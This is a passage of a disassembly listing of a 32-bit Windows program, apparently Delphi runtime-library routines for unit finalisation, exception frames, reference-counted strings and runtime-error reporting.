

loc_403220:				; CODE XREF: sub_403208+21j
		mov	ecx, [ecx]


loc_403222:				; CODE XREF: sub_403208+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_40322F
		cmp	[ecx], eax
		jnz	short loc_403220
		mov	eax, [eax]
		mov	[ecx], eax

locret_40322F:				; CODE XREF: sub_403208+9j
					; sub_403208+1Dj
		retn
sub_403208	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403230	proc near		; CODE XREF: sub_403230+5Ap
					; sub_4032A0+5Ap ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 00402EA8 SIZE 00000104 BYTES
; FUNCTION CHUNK AT 00402FCC SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_407620
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_403299
		mov	ebx, [esi+0Ch]
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_403285
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		test	ebx, ebx
		jle	short loc_40327B


loc_403260:				; CODE XREF: sub_403230+49j
		dec	ebx
		mov	[esi+0Ch], ebx
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8+4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403277
		call	[ebp+var_8]


loc_403277:				; CODE XREF: sub_403230+42j
		test	ebx, ebx
		jg	short loc_403260


loc_40327B:				; CODE XREF: sub_403230+2Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403299
; ---------------------------------------------------------------------------


loc_403285:				; DATA XREF: sub_403230+21o
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403230
		call	sub_40300C
		call	sub_403060


loc_403299:				; CODE XREF: sub_403230+13j
					; sub_403230+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_403230	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4032A0	proc near		; CODE XREF: sub_403310+3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_407620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_403309
		mov	esi, [eax]
		xor	ebx, ebx
		mov	eax, [eax+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4032F5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	esi, ebx
		jle	short loc_4032EB


loc_4032D1:				; CODE XREF: sub_4032A0+49j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+ebx*8]
		mov	[ebp+var_8], eax
		inc	ebx
		mov	[edi+0Ch], ebx
		cmp	[ebp+var_8], 0
		jz	short loc_4032E7
		call	[ebp+var_8]


loc_4032E7:				; CODE XREF: sub_4032A0+42j
		cmp	esi, ebx
		jg	short loc_4032D1


loc_4032EB:				; CODE XREF: sub_4032A0+2Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403309
; ---------------------------------------------------------------------------


loc_4032F5:				; DATA XREF: sub_4032A0+22o
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403230
		call	sub_40300C
		call	sub_403060


loc_403309:				; CODE XREF: sub_4032A0+13j
					; sub_4032A0+53j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4032A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_403310	proc near		; CODE XREF: sub_403C10+3Ap
		mov	ds:off_407010, offset sub_401008
		mov	ds:off_407014, offset sub_401010
		mov	ds:off_407628, eax
		xor	eax, eax
		mov	ds:dword_40762C, eax
		mov	ds:off_407630, edx
		mov	eax, [edx+4]
		mov	ds:dword_40701C, eax
		call	sub_4031E8
		mov	ds:byte_407024,	0
		call	sub_4032A0
		retn
sub_403310	endp


; =============== S U B	R O U T	I N E =======================================



sub_403350	proc near		; CODE XREF: sub_403468+34p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_406000


loc_403360:				; CODE XREF: sub_403350+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_403360
		mov	cl, 1Ch
		mov	eax, ds:dword_406004


loc_40338C:				; CODE XREF: sub_403350+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_406074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_40338C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403350	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4033AC	proc near		; CODE XREF: sub_403468+A4p
		xor	eax, eax
		xchg	eax, ds:dword_406000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_407620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4033AC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4033DC	proc near		; CODE XREF: sub_403468+39p

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_407034,	0
		jz	short loc_40343D
		cmp	ds:word_407208,	0D7B2h
		jnz	short loc_403405
		cmp	ds:dword_407210, 0
		jbe	short loc_403405
		mov	eax, offset dword_407204
		call	ds:dword_407220


loc_403405:				; CODE XREF: sub_4033DC+13j
					; sub_4033DC+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_403464
		push	0FFFFFFF5h
		call	sub_401000	; GetStdHandle
		push	eax
		call	sub_401020	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_40343D:				; CODE XREF: sub_4033DC+8j
		cmp	ds:byte_406018,	0
		jnz	short loc_403459
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_401038	; MessageBoxA


loc_403459:				; CODE XREF: sub_4033DC+68j
		pop	edx
		retn
sub_4033DC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_403464	dd 0A0Dh	
; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403468	proc near		; CODE XREF: sub_403548+5p start+1A6p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	ebx, offset dword_407620
		mov	esi, offset dword_407030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_403493
		cmp	dword ptr [esi], 0
		jz	short loc_403493


loc_403482:				; CODE XREF: sub_403468+29j
		mov	eax, [esi]
		mov	[esp+14h+var_14], eax
		xor	eax, eax
		mov	[esi], eax
		call	[esp+14h+var_14]
		cmp	dword ptr [esi], 0
		jnz	short loc_403482


loc_403493:				; CODE XREF: sub_403468+13j
					; sub_403468+18j
		cmp	ds:dword_406004, 0
		jz	short loc_4034AD
		call	sub_403350
		call	sub_4033DC
		xor	eax, eax
		mov	ds:dword_406004, eax


loc_4034AD:				; CODE XREF: sub_403468+32j
					; sub_403468+D5j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_4034C1
		cmp	ds:dword_406000, 0
		jnz	short loc_4034C1
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_4034C1:				; CODE XREF: sub_403468+49j
					; sub_403468+52j
		call	sub_403230
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_4034D5
		cmp	ds:dword_406000, 0
		jz	short loc_4034F8


loc_4034D5:				; CODE XREF: sub_403468+62j
		mov	edi, [ebx+10h]
		test	edi, edi
		jz	short loc_4034F8
		mov	eax, edi
		call	sub_40392C
		mov	ebp, [ebx+10h]
		mov	esi, [ebp+10h]
		cmp	esi, [ebp+4]
		jz	short loc_4034F8
		test	esi, esi
		jz	short loc_4034F8
		push	esi
		call	sub_401040	; FreeLibrary


loc_4034F8:				; CODE XREF: sub_403468+6Bj
					; sub_403468+72j ...
		call	sub_403208
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_403506
		call	dword ptr [ebx+24h]


loc_403506:				; CODE XREF: sub_403468+99j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_403511
		call	sub_4033AC


loc_403511:				; CODE XREF: sub_403468+A2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_403530
		cmp	ds:dword_407018, 0
		jz	short loc_403525
		call	ds:dword_407018


loc_403525:				; CODE XREF: sub_403468+B5j
		mov	eax, ds:dword_406000
		push	eax
		call	sub_401030	; ExitProcess


loc_403530:				; CODE XREF: sub_403468+ACj
		mov	eax, [ebx]
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		jmp	loc_4034AD
sub_403468	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403548	proc near		; CODE XREF: sub_402854+6p
					; sub_403554+6j ...
		mov	ds:dword_406000, eax
		call	sub_403468
sub_403548	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403554	proc near		; CODE XREF: CODE:004031DDj
					; sub_403B80+1Ap ...
		pop	ds:dword_406004
		jmp	sub_403548
sub_403554	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403560	proc near		; CODE XREF: sub_402A6C+Ep
					; sub_403624+23p ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_403582
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_403582
		lock dec dword ptr [edx-8]
		jnz	short locret_403582
		push	eax
		lea	eax, [edx-8]
		call	sub_4027E4
		pop	eax

locret_403582:				; CODE XREF: sub_403560+4j
					; sub_403560+10j ...
		retn
sub_403560	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403584	proc near		; CODE XREF: sub_403F24+114p
					; sub_4041C0+259p ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40358A:				; CODE XREF: sub_403584+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_4035AA
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_4035AA
		lock dec dword ptr [edx-8]
		jnz	short loc_4035AA
		lea	eax, [edx-8]
		call	sub_4027E4


loc_4035AA:				; CODE XREF: sub_403584+Aj
					; sub_403584+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_40358A
		pop	esi
		pop	ebx
		retn
sub_403584	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035B4	proc near		; CODE XREF: sub_403690+8j
					; sub_4036D4+6j ...
		test	edx, edx
		jz	short loc_4035DC
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_4035D8
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_4035F8
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4028C8
		pop	edx
		pop	eax
		jmp	short loc_4035DC
; ---------------------------------------------------------------------------


loc_4035D8:				; CODE XREF: sub_4035B4+8j
		lock inc dword ptr [edx-8]


loc_4035DC:				; CODE XREF: sub_4035B4+2j
					; sub_4035B4+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_4035F6
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_4035F6
		lock dec dword ptr [edx-8]
		jnz	short locret_4035F6
		lea	eax, [edx-8]
		call	sub_4027E4

locret_4035F6:				; CODE XREF: sub_4035B4+2Cj
					; sub_4035B4+32j ...
		retn
sub_4035B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4035F8	proc near		; CODE XREF: sub_4035B4+Fp
					; sub_403624+Bp ...
		test	eax, eax
		jle	short loc_403620
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_4027B4
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_403620:				; CODE XREF: sub_4035F8+2j
		xor	eax, eax
		retn
sub_4035F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403624	proc near		; CODE XREF: sub_402A6C+30p
					; sub_403654+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_4035F8
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_403645
		mov	edx, eax
		mov	eax, esi
		call	sub_4028C8


loc_403645:				; CODE XREF: sub_403624+16j
		mov	eax, ebx
		call	sub_403560
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403624	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403654	proc near		; CODE XREF: sub_4040B4+90p
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_403624
		pop	edx
		retn
sub_403654	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403664	proc near		; CODE XREF: sub_4045CC+28p
					; sub_404D90+28p
		xor	ecx, ecx
		mov	cl, [edx]
		inc	edx
		jmp	sub_403624
sub_403664	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403670	proc near		; CODE XREF: sub_4039B0+36p
					; sub_404E50+2Bp
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_40367D
		not	ecx


loc_40367D:				; CODE XREF: sub_403670+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_403624
sub_403670	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403688	proc near		; CODE XREF: sub_403D14+Fp
					; sub_403E38+Fp
		test	eax, eax
		jz	short locret_40368F
		mov	eax, [eax-4]

locret_40368F:				; CODE XREF: sub_403688+2j
		retn
sub_403688	endp


; =============== S U B	R O U T	I N E =======================================



sub_403690	proc near		; CODE XREF: sub_4036D4+1Dj
					; sub_4036D4+6Ej ...
		test	edx, edx
		jz	short locret_4036D3
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_4035B4
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_4036C8
		call	sub_403854
		mov	eax, esi
		mov	ecx, [esi-4]


loc_4036BB:				; CODE XREF: sub_403690+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_4028C8
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4036C8:				; CODE XREF: sub_403690+1Fj
		call	sub_403854
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_4036BB
; ---------------------------------------------------------------------------

locret_4036D3:				; CODE XREF: sub_403690+2j
		retn
sub_403690	endp


; =============== S U B	R O U T	I N E =======================================



sub_4036D4	proc near		; CODE XREF: start+8Fp
		test	edx, edx
		jz	short loc_403739
		test	ecx, ecx
		jz	sub_4035B4
		cmp	edx, [eax]
		jz	short loc_403740
		cmp	ecx, [eax]
		jz	short loc_4036F6
		push	eax
		push	ecx
		call	sub_4035B4
		pop	edx
		pop	eax
		jmp	sub_403690
; ---------------------------------------------------------------------------


loc_4036F6:				; CODE XREF: sub_4036D4+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, ecx
		push	eax
		mov	eax, [ebx-4]
		add	eax, [esi-4]
		call	sub_4035F8
		mov	edi, eax
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, [ebx-4]
		call	sub_4028C8
		mov	edx, edi
		mov	eax, esi
		mov	ecx, [esi-4]
		add	edx, [ebx-4]
		call	sub_4028C8
		pop	eax
		mov	edx, edi
		test	edi, edi
		jz	short loc_403730
		dec	dword ptr [edi-8]


loc_403730:				; CODE XREF: sub_4036D4+57j
		call	sub_4035B4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_403739:				; CODE XREF: sub_4036D4+2j
		mov	edx, ecx
		jmp	sub_4035B4
; ---------------------------------------------------------------------------


loc_403740:				; CODE XREF: sub_4036D4+Ej
		mov	edx, ecx
		jmp	sub_403690
sub_4036D4	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403748	proc near		; CODE XREF: sub_404E94+3Cp
					; sub_404E94+65p ...
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		cmp	eax, edx
		jz	loc_4037E6
		test	esi, esi
		jz	short loc_4037C3
		test	edi, edi
		jz	short loc_4037CA
		mov	eax, [esi-4]
		mov	edx, [edi-4]
		sub	eax, edx
		ja	short loc_40376B
		add	edx, eax


loc_40376B:				; CODE XREF: sub_403748+1Fj
		push	edx
		shr	edx, 2
		jz	short loc_403797


loc_403771:				; CODE XREF: sub_403748+45j
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	ecx, ebx
		jnz	short loc_4037D1
		dec	edx
		jz	short loc_403791
		mov	ecx, [esi+4]
		mov	ebx, [edi+4]
		cmp	ecx, ebx
		jnz	short loc_4037D1
		add	esi, 8
		add	edi, 8
		dec	edx
		jnz	short loc_403771
		jmp	short loc_403797
; ---------------------------------------------------------------------------


loc_403791:				; CODE XREF: sub_403748+32j
		add	esi, 4
		add	edi, 4


loc_403797:				; CODE XREF: sub_403748+27j
					; sub_403748+47j
		pop	edx
		and	edx, 3
		jz	short loc_4037BF
		mov	ecx, [esi]
		mov	ebx, [edi]
		cmp	cl, bl
		jnz	short loc_4037E6
		dec	edx
		jz	short loc_4037BF
		cmp	ch, bh
		jnz	short loc_4037E6
		dec	edx
		jz	short loc_4037BF
		and	ebx, 0FF0000h
		and	ecx, 0FF0000h
		cmp	ecx, ebx
		jnz	short loc_4037E6


loc_4037BF:				; CODE XREF: sub_403748+53j
					; sub_403748+5Ej ...
		add	eax, eax
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037C3:				; CODE XREF: sub_403748+11j
		mov	edx, [edi-4]
		sub	eax, edx
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037CA:				; CODE XREF: sub_403748+15j
		mov	eax, [esi-4]
		sub	eax, edx
		jmp	short loc_4037E6
; ---------------------------------------------------------------------------


loc_4037D1:				; CODE XREF: sub_403748+2Fj
					; sub_403748+3Cj
		pop	edx
		cmp	cl, bl
		jnz	short loc_4037E6
		cmp	ch, bh
		jnz	short loc_4037E6
		shr	ecx, 10h
		shr	ebx, 10h
		cmp	cl, bl
		jnz	short loc_4037E6
		cmp	ch, bh


loc_4037E6:				; CODE XREF: sub_403748+9j
					; sub_403748+5Bj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403748	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037EC	proc near		; CODE XREF: sub_403F24+17p
					; sub_4040B4+14p ...
		test	eax, eax
		jz	short locret_4037FA
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_4037FA
		lock inc dword ptr [eax-8]

locret_4037FA:				; CODE XREF: sub_4037EC+2j
					; sub_4037EC+8j
		retn
sub_4037EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4037FC	proc near		; CODE XREF: sub_403E38+2Ap
					; sub_403F24+7Dp ...
		test	eax, eax
		jz	short loc_403802
		retn
; ---------------------------------------------------------------------------
byte_403801	db 0			; DATA XREF: sub_4037FC:loc_403802o
; ---------------------------------------------------------------------------


loc_403802:				; CODE XREF: sub_4037FC+2j
		mov	eax, offset byte_403801
		retn
sub_4037FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_403808	proc near		; CODE XREF: sub_40384Cj
		mov	edx, [eax]
		test	edx, edx
		jz	short loc_403846
		mov	ecx, [edx-8]
		dec	ecx
		jz	short loc_403846
		push	ebx
		mov	ebx, eax
		mov	eax, [edx-4]
		call	sub_4035F8
		mov	edx, eax
		mov	eax, [ebx]
		mov	[ebx], edx
		push	eax
		mov	ecx, [eax-4]
		call	sub_4028C8
		pop	eax
		mov	ecx, [eax-8]
		dec	ecx
		jl	short loc_403843
		lock dec dword ptr [eax-8]
		jnz	short loc_403843
		lea	eax, [eax-8]
		call	sub_4027E4


loc_403843:				; CODE XREF: sub_403808+2Bj
					; sub_403808+31j
		mov	edx, [ebx]
		pop	ebx


loc_403846:				; CODE XREF: sub_403808+4j
					; sub_403808+Aj
		mov	eax, edx
		retn
sub_403808	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40384C	proc near		; CODE XREF: sub_403E38+22p
					; sub_403F24+40p ...
		jmp	sub_403808
sub_40384C	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403854	proc near		; CODE XREF: sub_402908+B3p
					; sub_403690+21p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		xor	edi, edi
		test	edx, edx
		jle	short loc_4038A9
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_40388A
		cmp	dword ptr [eax-8], 1
		jnz	short loc_40388A
		sub	eax, 8
		add	edx, 9
		push	eax
		mov	eax, esp
		call	sub_402804
		pop	eax
		add	eax, 8
		mov	[ebx], eax
		mov	[eax-4], esi
		mov	byte ptr [esi+eax], 0
		jmp	short loc_4038B2
; ---------------------------------------------------------------------------


loc_40388A:				; CODE XREF: sub_403854+11j
					; sub_403854+17j
		mov	eax, edx
		call	sub_4035F8
		mov	edi, eax
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_4038A9
		mov	edx, edi
		mov	ecx, [eax-4]
		cmp	ecx, esi
		jl	short loc_4038A4
		mov	ecx, esi


loc_4038A4:				; CODE XREF: sub_403854+4Cj
		call	sub_4028C8


loc_4038A9:				; CODE XREF: sub_403854+Bj
					; sub_403854+43j
		mov	eax, ebx
		call	sub_403560
		mov	[ebx], edi


loc_4038B2:				; CODE XREF: sub_403854+34j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403854	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4038B8	proc near		; DATA XREF: sub_403A78+2Fo
					; BSS:off_407000o
		mov	al, 11h
		jmp	sub_4028AC
sub_4038B8	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038C0	proc near		; CODE XREF: sub_40392C+1Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_406020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_403913


loc_4038DA:				; CODE XREF: sub_4038C0+51j
		xor	eax, eax
		push	ebp
		push	offset loc_4038FB
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_403905
; ---------------------------------------------------------------------------


loc_4038FB:				; DATA XREF: sub_4038C0+1Do
		jmp	loc_402EA8
; ---------------------------------------------------------------------------
		call	sub_403060


loc_403905:				; CODE XREF: sub_4038C0+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_4038DA


loc_403913:				; CODE XREF: sub_4038C0+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4038C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40391C	proc near		; CODE XREF: sub_403C04+5p
		mov	edx, ds:dword_40601C
		mov	[eax], edx
		mov	ds:dword_40601C, eax
		retn
sub_40391C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40392C	proc near		; CODE XREF: sub_403468+76p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4039A5
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_4038C0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4039AC


loc_40395B:				; CODE XREF: sub_40392C+7Ej
		mov	eax, [ebp+var_4]
		cmp	eax, ds:dword_40601C
		jnz	short loc_403972
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_40601C, eax
		jmp	short loc_4039A4
; ---------------------------------------------------------------------------


loc_403972:				; CODE XREF: sub_40392C+38j
		mov	eax, ds:dword_40601C
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4039A4


loc_403980:				; CODE XREF: sub_40392C+76j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, [ebp+var_4]
		jnz	short loc_403996
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	edx, [ebp+var_8]
		mov	[edx], eax
		jmp	short loc_4039A4
; ---------------------------------------------------------------------------


loc_403996:				; CODE XREF: sub_40392C+5Cj
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_403980


loc_4039A4:				; CODE XREF: sub_40392C+44j
					; sub_40392C+52j ...
		retn
; ---------------------------------------------------------------------------


loc_4039A5:				; DATA XREF: sub_40392C+Co
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_40395B
; ---------------------------------------------------------------------------


loc_4039AC:				; CODE XREF: sub_40392C:loc_4039A4j
					; DATA XREF: sub_40392C+2Ao
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40392C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039B0	proc near		; CODE XREF: sub_403A78+ADp
					; sub_403A78+BEp

var_10		= dword	ptr -10h
var_B		= byte ptr -0Bh
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp+var_10], edx
		xor	edx, edx
		push	ebp
		push	offset loc_403A16
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp+var_B]
		push	edx
		push	1004h
		push	eax
		call	sub_401050	; GetLocaleInfoA
		lea	eax, [ebp+var_10]
		lea	edx, [ebp+var_B]
		mov	ecx, 7
		call	sub_403670
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_4]
		call	sub_402BD0
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_403A00
		xor	ebx, ebx


loc_403A00:				; CODE XREF: sub_4039B0+4Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403A1D


loc_403A0D:				; CODE XREF: sub_4039B0+6Bj
		lea	eax, [ebp+var_10]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_403A16:				; DATA XREF: sub_4039B0+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_403A0D
; ---------------------------------------------------------------------------


loc_403A1D:				; CODE XREF: sub_4039B0+65j
					; DATA XREF: sub_4039B0+58o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4039B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A24	proc near		; DATA XREF: CODE:00405274o
		push	ebp
		mov	ebp, esp
